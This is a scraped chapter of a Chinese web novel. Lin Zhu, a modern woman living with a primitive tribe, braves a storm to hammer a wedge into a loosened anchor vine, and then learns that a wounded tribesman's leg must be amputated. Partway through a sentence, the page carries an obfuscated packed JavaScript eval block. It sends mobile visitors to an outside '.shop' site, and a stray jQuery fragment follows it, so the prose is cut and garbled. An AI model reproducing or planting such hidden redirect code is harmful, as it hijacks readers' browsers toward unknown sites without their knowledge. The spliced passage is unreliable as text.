文趣网 > 其他小说 > 原始异星搞基建 > 15. 第 15 章
    这天的早饭是木青和栎疤送来的,还是一陶罐暖和的包果糊糊。但除了陶罐,阔叶下还有一卷柔软的东西。

    “今天怎么不是百织送来?”林筑有些当心的问,木青眼下青黑,低落烦恼的样子让林筑不由得多想,“百织没事吧?”

    “她没事。”木青快速的回答,他放下东西,为大家分发起包果糊糊。在轮到林筑时,他木勺沉底,从最下面捞起又大又稠的一勺,啪的倒在林筑的碗里。

    林筑越发奇怪了,她捧着碗喝得很慢,从碗沿打量木青的神色。

    “这两天你冷吗?”木青低头问,“我看你的脸色不太好。”

    “还可以,习惯的很快,而且这里还有圭岩挡风。”林筑说到这,还看了圭岩一眼。对方正使劲捏今天分到的果子,试图用果汁改善包果糊的味道。

    “那就好……”木青说。

    "子洞怎么样呢?"林筑尽量轻快地问。

    “子洞风小,又偶尔有烧火做饭,比这暖和多了。今年的风大,大巫一直在祷告……”两人轻声交谈了一会,木青的话又慢慢多了起来。

    “走了木青。”所有人都喝上了糊糊,栎疤喊到。

    木青一顿,“我走了啊,你要小心,不要生病……”

    “你放心吧,我现在会照顾自己了。”林筑无奈地说。

    两人掀开藤席,冒着风雨回去了。

    “木青留了东西给你。”圭岩忽然说,他朝地上一抬下巴,木青把多带来的阔叶留下了,在地面上微微隆起,下面似乎有什么东西。

    林筑奇怪的拨开树叶,下面是一张柔软的兽皮毯,从花纹看应是羽鹿的。

    “哪来的?木青为什么把这个给我。”林筑拿着兽皮不解道。

    “应该是他从子洞匀你的,一般只有小孩子才有兽皮毯盖。”圭岩把最后一口自我改进的酸糊糊吞了,面上不知道是对食物的不满还是对林筑收到兽皮的不满,对林筑说,“为什么你又要挡风又要兽皮?”

    林筑感觉到他那微妙的敌意,正想说大家关心我的口风一拐,“可能是因为在你旁边,我显得特别弱小把。”

    圭岩恍然大悟,“哦,那挺有道理。”

    林筑:“……”

    吃完早饭,她照例批上阔叶衣从洞口往外走了几步,抓着藤索往远方看去。北面的阔叶翻得比昨天更狠,不断有细小的黑影从高处掉下来,砸在台面上,或者被风直接卷走。

    林筑回到树洞,对栖落说,"我要出去一趟,瞧瞧北副树现在怎么样了。"

    坐的最近的一个年轻人闻言抬头:"你说什么呢,外头能把你吹到铁藤谷!"

    "就是风大,所以我才要去看。"林筑说,她用询问的眼神看向栖落,对方轻轻颔首,又朝圭岩说,“你也去。”

    圭岩已经站起来了,他解下一根细藤索,走过来一言不发往林筑腰上系。

    林筑往后躲了半步:"干什么。"

    "栖落说照顾你,飓风去检查藤索时别被吹走了。"他把绳结抽紧,试了试松紧,把另一头系在自己腰上,又带上了石斧。

    她没词了。

    "快去快回。"栖落穿过歪七扭八的人群走过来,只说了这四个字。

    掀开藤席的时风直把人往外拔,圭岩先出去的,他弯腰走得很慢,每一步都踩实了才动。树洞的位置确实很好,各方具有遮挡。走远了林筑才感觉到雨是横着砸的,打在脸上像豆子睁不开眼。台面上全是水,踩上去直打滑。

    两人腰间那三四步的绳长,被风吹得绷成一条弧线。

    林筑缓慢的前挪,乱七八糟的去抓一切能固定自己的东西,数着步数给自己打气。数到大概九十时,一阵横风撞过来,她脚下一空,整个人被掀得横趴在树台上往边缘滑去,绳子瞬间绷直了。

    “圭岩——!”

    圭岩回身一拽,像收一根钓线般把她甩回身边。他的力气大的吓人,林筑的内脏都被拽紧了,巴在地上简直要把珍贵的包果糊糊吐出来。

    "谢、谢。"她艰难的喘着气。

    "抓紧。"圭岩清晰地说,“放低身子,踩在树皮粗糙的地方”。

    又往前走了一段,树台到头了,接下来得从树枝上走。圭岩把腰上的绳子在手里绕了两圈,缩短了一半的绳长,两个人跟毛毛虫似的蠕起来。

    一根断枝砸在离他们两步远的地方,两个人都顿住了,林筑吓的汗毛直立。

    缓了三秒后,圭岩紧了紧绳,他们就继续蠕。

    北侧锚固点在副树的一处凹陷里,三根绷得笔直的拉索从这里分出去,在风里发出低沉的嗡鸣。

    林筑咬着牙挪过去,先看了西面和东面那两根。贴得死死的,晃不出松动。再检查主树这根,手指刚搭上,她就感觉到了极细的震颤顺着指尖往掌心跑。林筑心里一沉,怎么又旷量了。

    雨点打在铁藤上,溅起极细的水雾。林筑把耳朵贴近铁藤听了几秒,嗡鸣声里有一丝极轻的杂响,像琴弦松了半音。应该是因为这根索吃力多,树皮被压陷了一圈。

    “怎么回事!”圭岩见她对这根藤索又摸又听,大声问她。

    “旷量!要敲木楔!”林筑从腰间摸出几枚硬木楔,“把石斧递给我!”

    风把林筑的手腕吹的乱晃,圭岩都没能把石斧递到她手上。林筑回手用衣袖擦了一把脸,干脆对圭岩说,“我不行,还是你来!”

    圭岩走到林筑身边,一手握紧藤索,一手握紧石斧,看着把林筑把楔子尖塞进铁藤和树干之间的缝隙,又小心的把楔子扶住。

    "尽量不要敲断我的手好吗。”林筑咧嘴一笑,“敲!"

    石斧背落下去,楔子立刻吃进去一分。

    "再敲!"

    圭岩举起石斧再次劈下,忽然一根树枝带着叶子撞在他身上,把这斧带的稍歪,林筑还没来得及说什么,圭岩已偏着身子再落稍轻一斧,楔子又正了。

    "现在先停,让我看看。"她晃一晃铁藤,还很松。"再多敲几下……你小心!站稳了!"

    风把林筑的话吹得断断续续,雨水顺着她扶着楔子的小臂往袖口里灌,顺着眉骨流进眼睛,几乎都要看不清了。但朦胧间圭岩的手始终很稳,一下又一下有力的把楔子砸进去。

    约莫到第十五下下,旷量终于没了,铁藤重新贴死在树干上。林筑再把耳朵贴上去听,嗡鸣声消失了。

    "好了。"林筑松了一口气。

    回去的路风是从正面吹来的,比来更难站稳。林筑咬牙顶风而行,再怎么尽力也摔了无数次,每当这时腰上的绳子总是猛地收紧,把她拉回安全的位置。

    死盯着前面那人的背影,林筑几乎是一步步爬回了树洞。

    回到母洞的时两个都成了水人,滴滴答答狼狈不堪。圭岩在洞口站住,忽然大力甩了甩头,水珠四溅激了林筑一身。林筑嗷了声瞪他,圭岩跟没看见似的,掀开藤席先进去了。

    栖落就在洞口等他们,毫不犹豫上前和两水人各自拥抱,碰了碰额头。林筑感觉到她手里的力度和眼睛的担忧,身上也稍暖了几分。

    “怎么样了?”栖落问。

    “主树那根藤索松了一些,风的力气太大,铁藤把树皮都压的凹陷了。”林筑的发尾还在滴水,“不过我们已经加固好了,打了个楔子进去。”

    听完了林筑的话,栖落的眉梢一松,"快换衣服。"栖落说,旁边立刻有人递上了干燥的兽皮衣。

    感谢现在栖母部已经有了性别意识,林筑躲在几位年轻女性中完成了换衣。圭岩就稍显随便,一背身就脱了湿衣。

    傍晚送晚饭的又换回了百织,见林筑裹着兽皮毯子,也不多问什么,只关心她今天去看藤索的事。

    “你可得多吃一点,太冷了,瞧你脸都白了。”百织往林筑碗里放了特别大的一勺,还欲再补。

    “不用不用,哎哎百织,我吃一份就行。”林筑慌忙说,捧着碗躲,百织却把她拿

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17796694|209904||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    过来硬是放了进去。

    “你就吃吧。”百织说,转身给圭岩也多添了一勺。

    圭岩坦然受之。

    林筑梗了一下,默默的低头喝了口,却又被百织捏住了脸。

    “这、这,这怎么到处都是划伤。”百织捏着林筑的脸看了又看。

    “都是小伤,不碍事的,哎呀你别在意了。”林筑摸摸自己的脸,她心里其实还是有点在意的,但这哪里有条件不是。

    “那可不行,南方来瘟毒都在雨里,你这伤口一泡水太危险了。”百织担忧的又检查了遍,“不行,我去大巫那给你拿点药来。”

    “栖语大巫?”听到大巫,林筑犹豫起来,“要麻烦大巫就算了吧。”

    “不会,他今天磨了很多草药,拿一点给你就行。”提到这事,百织脸上的愁云又浓了几分,"楠榫烧起来了。"

    林筑端着碗的手停住,"什么时候的事?"

    "中午,估计他的伤口估计进瘟毒了。"百织把最后一勺糊糊舀给旁边的人,“现在烧的非常厉害。”

    林筑思索片刻,仰头几口就喝完了糊糊,“我去看看。”

    子洞里跟母洞完全是两个气氛,林筑发现这里居然还点了盏小小的油灯,药草的苦味盖过了树皮味。栖语坐在火塘旁,在石臼里咚咚的捣着什么。

    楠榫躺在旁边,脸烧得通红,胸口起伏得又快又浅。那条伤腿暴露在空气里肿得发亮,但最可怕的是颜色,从膝盖往下颜色一段比一段深:红、紫、黑。楠榫眉头拧着昏迷不醒,喉咙里滚着含糊的音节,像在跟谁争辩着什么。

    洞里孩子都缩在大人的怀里,除了子芽,他跪坐在楠榫一侧,两只手攥着父亲的手。看见林筑,眼睛红着动了动嘴唇,似乎想说什么,但最后没说出来。

    "烧成这样……"

    "上次有人这样烧还是——"

    人们害怕的不敢说完。

    木青蹲在栖语旁边递东西,指尖被药汁浸得发黄。他看见林筑进来,凑过来低声说:"早上开始说胡话,喊热,喊完又喊冷。大巫打开他的树皮衣,才发现腿已经黑了。"

    林筑往前走了两步,想把伤口看的更清楚些。

    "别挡光。"栖语没抬头。

    林筑退回来,站在人群边上。

    她发现自己插不上手。脑子里有一套完整的词:感染,败血症,抗生素,清创,无菌敷料。每个词她都明白原理,但每个词在这里都等于零。

    圭岩不知道什么时候也跟过来了,站在子洞口。他靠着洞壁,盯着那条肿起来的腿,眉毛拧成一团。

    栖落也来了,一声不吭的站在栖语身后。

    栖语终于停了手。他把指缝里的药渣擦在一块干兽皮上,直起身。

    "腿保不住了,要截。"他果断地说。

    满洞的窃窃私语一下子全停了,有人轻轻抽了口气。子芽把头低下去了,抵在父亲的手背上。

    栖落问:"现在就做,还是明天?"

    "现在太黑了,要等明天天亮。"栖语说。

    没有人问能不能保住人,大家都知道这是小概率获胜的生死一博。

    栖语重新坐下来,他靠在洞壁上休息。洞里的人陆续退开,议论声逐渐消失,剩下的只有伤者的胡话和洞外的风。

    林筑躺在自己的位置上,手臂上有道红肿一跳一跳地疼。白天出去时候,被狂舞的藤条抽了两下,当时没觉得,现在肿起来了才发觉。

    奇怪的是,她觉得这点疼很遥远。她满脑子都是明天,没有麻药,没有抗生素,用的是石刀。磨得再快的石刀也是石头,那割开皮肉要多久?止血怎么做?她连想都不敢想,又忍不住去想。

    "你的手。”圭岩坐在他那个洞口专座上,看着她的方向。

    她一顿:"没事。"

    许久后,洞里又陆续响起鼾声,但今天圭岩少见的睡不着,林筑迷迷懵懵睡去时他还若有所思的坐在那发呆。